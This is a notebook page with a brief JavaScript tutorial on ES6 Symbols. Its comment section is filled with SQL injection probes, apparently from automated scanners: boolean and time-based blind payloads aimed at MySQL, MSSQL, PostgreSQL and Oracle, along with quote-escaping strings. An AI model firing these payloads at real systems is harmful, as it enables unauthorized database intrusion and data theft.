Would you like to clone this notebook?

When you clone a notebook you are able to make changes without affecting the original notebook.

Cancel

ES6 Symbols

node v0.12.18
version: 2.0.0
endpointsharetweet
Symbols are a new data type in JavaScript that you can use to add properties to objects without colliding with other strings:
var myToStringSymbol = Symbol("toString")
var object = { }; // We'll use this symbol to describe the method without overwriting it. object[myToStringSymbol] = "this method will print a string"; // Print both, to show they're both still there. console.log(object[myToStringSymbol], object["toString"]);
You can use many of the built in symbols to take advantage of the new features added to objects in ES6. For example, we can use the global iterator Symbol to define how a custom object should behave in for...of:
var cart = { items: ["pizza", "car", "pastrami"], [Symbol.iterator] : function* () { for (var i = 0; i < this.items.length; ++i) yield this.items[i]; } } for (item of cart) console.log(item + " is in your cart!");
To learn more about Symbols, go to https://hacks.mozilla.org/2015/06/es6-in-depth-symbols/.
Loading…

52 comments

  • posted 3 years ago by hexorarix
    🌟🌠
  • posted a month ago by xsjybldb
    1
  • posted a month ago by xsjybldb
    1
  • posted a month ago by xsjybldb
    -1 OR 2+918-918-1=0+0+0+1 --
  • posted a month ago by xsjybldb
    -1 OR 2+518-518-1=0+0+0+1
  • posted a month ago by xsjybldb
    -1' OR 2+976-976-1=0+0+0+1 --
  • posted a month ago by xsjybldb
    -1' OR 2+92-92-1=0+0+0+1 or 'B55VbVdw'='
  • posted a month ago by xsjybldb
    -1" OR 2+183-183-1=0+0+0+1 --
  • posted a month ago by xsjybldb
    if(now()=sysdate(),sleep(15),0)
  • posted a month ago by xsjybldb
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  • posted a month ago by xsjybldb
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  • posted a month ago by xsjybldb
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • posted a month ago by xsjybldb
    -1; waitfor delay '0:0:15' --
  • posted a month ago by xsjybldb
    -1); waitfor delay '0:0:15' --
  • posted a month ago by xsjybldb
    1 waitfor delay '0:0:15' --
  • posted a month ago by xsjybldb
    o1YX4I5F'; waitfor delay '0:0:15' --
  • posted a month ago by xsjybldb
    -5 OR 54=(SELECT 54 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    -5) OR 688=(SELECT 688 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    -1)) OR 13=(SELECT 13 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    2pcRPdvb' OR 493=(SELECT 493 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    RNBwCbuY') OR 987=(SELECT 987 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    vRUldZxr')) OR 740=(SELECT 740 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • posted a month ago by xsjybldb
    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • posted a month ago by xsjybldb
    1'"
  • posted a month ago by xsjybldb
    @@gQaU0
  • posted 24 days ago by 67478559714940000843b0a0
    1
  • posted 24 days ago by 67478559714940000843b0a0
    1
  • posted 24 days ago by 67478559714940000843b0a0
    -1 OR 2+406-406-1=0+0+0+1 --
  • posted 24 days ago by 67478559714940000843b0a0
    -1 OR 2+109-109-1=0+0+0+1
  • posted 24 days ago by 67478559714940000843b0a0
    -1' OR 2+89-89-1=0+0+0+1 --
  • posted 24 days ago by 67478559714940000843b0a0
    -1' OR 2+689-689-1=0+0+0+1 or 'PfE9Cud6'='
  • posted 24 days ago by 67478559714940000843b0a0
    -1" OR 2+852-852-1=0+0+0+1 --
  • posted 24 days ago by 67478559714940000843b0a0
    1*if(now()=sysdate(),sleep(15),0)
  • posted 24 days ago by 67478559714940000843b0a0
    10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
  • posted 24 days ago by 67478559714940000843b0a0
    10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
  • posted 24 days ago by 67478559714940000843b0a0
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • posted 24 days ago by 67478559714940000843b0a0
    1-1; waitfor delay '0:0:15' --
  • posted 24 days ago by 67478559714940000843b0a0
    1-1); waitfor delay '0:0:15' --
  • posted 24 days ago by 67478559714940000843b0a0
    1-1 waitfor delay '0:0:15' --
  • posted 24 days ago by 67478559714940000843b0a0
    13E3HZETU'; waitfor delay '0:0:15' --
  • posted 24 days ago by 67478559714940000843b0a0
    1-1 OR 745=(SELECT 745 FROM PG_SLEEP(15))--
  • posted 24 days ago by 67478559714940000843b0a0
    1-1) OR 420=(SELECT 420 FROM PG_SLEEP(15))--
  • posted 24 days ago by 67478559714940000843b0a0
    1-1)) OR 265=(SELECT 265 FROM PG_SLEEP(15))--
  • posted 24 days ago by 67478559714940000843b0a0
    1p6cpGjbO' OR 796=(SELECT 796 FROM PG_SLEEP(15))--
  • posted 24 days ago by 67478559714940000843b0a0
    1REruIAKG') OR 407=(SELECT 407 FROM PG_SLEEP(15))--
  • posted 24 days ago by 67478559714940000843b0a0
    1iU8QfNYe')) OR 42=(SELECT 42 FROM PG_SLEEP(15))--
  • posted 24 days ago by 67478559714940000843b0a0
    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • posted 24 days ago by 67478559714940000843b0a0
    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • posted 24 days ago by 67478559714940000843b0a0
    '"
  • posted 24 days ago by 67478559714940000843b0a0
    ����%2527%2522\'\"
  • posted 24 days ago by 67478559714940000843b0a0
    @@Sv7HF

sign in to comment